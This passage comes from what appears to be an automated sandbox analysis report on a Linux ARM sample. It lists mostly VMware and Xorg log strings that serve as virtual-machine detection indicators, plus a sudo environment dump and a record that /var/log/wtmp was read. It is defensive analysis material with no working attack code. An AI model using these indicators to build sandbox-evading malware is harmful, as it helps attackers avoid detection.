Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.060] (**) vmware(0): Default mode "1152x864": 108.0 MHz, 67.5 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (WW) vmware(0): Disabling Render Acceleration.
Source: qFl1WpWBiv, 5211.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5213.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5215.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5224.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5226.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5227.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5381.1.00000000e009cd26.00000000739764a9.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/qFl1WpWBivSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/qFl1WpWBiv
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.117] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.814] (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.084] (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.257] (II) vmware(0): Not using default mode "800x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.152] (II) vmware(0): Not using default mode "1360x768" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.020] (II) vmware(0): Modeline "vmwlegacy-default-800x600"x60.0 36.25 800 801 802 1002 600 601 602 603 (36.2 kHz ez)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.707] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.536] (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.291] (II) vmware(0): Modeline "640x480"x72.8 31.50 640 664 704 832 480 489 492 520 -hsync -vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Clock range: 0.00 to 400000.00 MHz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x360"x59.3 17.75 640 688 720 800 360 363 368 374 +hsync -vsync (22.2 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.264] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.111] (==) vmware(0): Using HW cursor
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x480"x85.0 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (43.3 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.166] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 9)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.802] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.116] (II) vmware(0): Modeline "1024x768"x75.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 534.584] (--) vmware(0): VMware SVGA regs at (0x1070, 0x1071)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.724] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.299] (**) vmware(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 59.9 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.958] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.371] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.375] (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.183] (II) vmware(0): Modeline "800x600"x85.1 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.076] (II) vmware(0): Modeline "1152x864"x75.0 104.99 1152 1224 1352 1552 864 865 868 902 -hsync +vsync (67.6 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:58 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): bpp: 32
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.358] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "720x400"x85.0 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.220] (**) vmware(0): Default mode "800x600": 36.0 MHz, 35.2 kHz, 56.2 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.323] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.067] (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.809] (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.196] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.877] (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.664] (--) vmware(0): bpp: 32
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.795] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.360] (**) vmware(0): Default mode "640x360": 17.8 MHz, 22.2 kHz, 59.3 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:51 galassia kernel: [ 528.200202] Modules linked in: monitor(OE) md4 cmac cifs libarc4 fscache libdes vmw_vsock_vmci_transport vsock binfmt_misc dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua vmw_balloon joydev input_leds serio_raw vmw_vmci sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel crypto_simd cryptd glue_helper psmouse ahci mptspi vmxnet3 scsi_transport_spi mptscsih libahci mptbase
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.723] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.311] (**) vmware(0): Default mode "720x405": 22.5 MHz, 25.1 kHz, 59.5 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 81.6 MHz, 53.7 kHz, 60.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.460] (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.082] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.705] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (EE) vmware(0): Failed to open drm.
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: message repeated 4 times: [ (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)]
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.065] (II) vmware(0): Modeline "1152x864"x75.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.131] (**) vmware(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.594] (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1024x576": 46.5 MHz, 35.9 kHz, 59.9 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.796] (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "720x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.232] (II) vmware(0): Not using default mode "1440x900" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.098] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.837] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.790] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "832x624"x74.6 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.779] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: message repeated 5 times: [ (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)]
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.661] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.646] (--) vmware(0): depth: 24
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.517] (II) vmware(0): Not using default mode "960x540" (monitor doesn't support reduced blanking)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 143.5 MHz, 91.5 kHz, 100.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.394] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.294] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.982] (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1024x768"x75.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.230] (**) vmware(0): Default mode "864x486": 32.5 MHz, 30.3 kHz, 59.9 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.373] (**) vmware(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): depth: 24
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.096] (II) vmware(0): Modeline "1152x864"x60.0 81.62 1152 1216 1336 1520 864 865 868 895 -hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.111] (**) vmware(0): Default mode "1024x768": 78.8 MHz, 60.0 kHz, 75.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.189] (II) event2 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Creating default Display subsection in Screen section
Source: Xorg.0.log.123.dr	Binary or memory string: [ 533.564] (II) Loading /usr/lib/xorg/modules/drivers/vmware_drv.so
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.209] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.767] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.504] (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.023] (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "800x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.916] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.930] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.190] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x360": 18.0 MHz, 22.5 kHz, 59.8 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.581] (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.695] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.414] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "320x200" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 8)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.243] (**) vmware(0): Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.388] (II) vmware(0): Not using default mode "1024x768i" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.210] (**) vmware(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.551] (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.202] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.121] (**) vmware(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.152] (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 534.246] (II) vmware(0): Creating default Display subsection in Screen section
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.127] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware: driver for VMware SVGA: vmware0405, vmware0710
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.445] (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "864x486": 32.5 MHz, 30.3 kHz, 59.9 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "800x600"x72.2 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (48.1 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.124] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.722] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.629] (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: qFl1WpWBiv, 5211.1.00000000529267e5.000000005c76e3d3.rw-.sdmp, qFl1WpWBiv, 5213.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5215.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5224.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5226.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5227.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5381.1.00000000529267e5.00000000ef084572.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.520] (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.400] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.118] (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 9)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x85.0 119.65 1152 1224 1352 1552 864 865 868 907 -hsync +vsync (77.1 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.280] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.317] (II) vmware(0): Modeline "720x405"x59.5 22.50 720 744 808 896 405 408 413 422 -hsync +vsync (25.1 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): w.blu: 8
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:58 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): caps: 0xFDFF83E2
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.758] (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.279] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 105.0 MHz, 67.6 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.693] (--) vmware(0): vram: 4194304

Language, Device and Operating System Detection:

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 5352)

Logged in records file read: /var/log/wtmp

Jump to behavior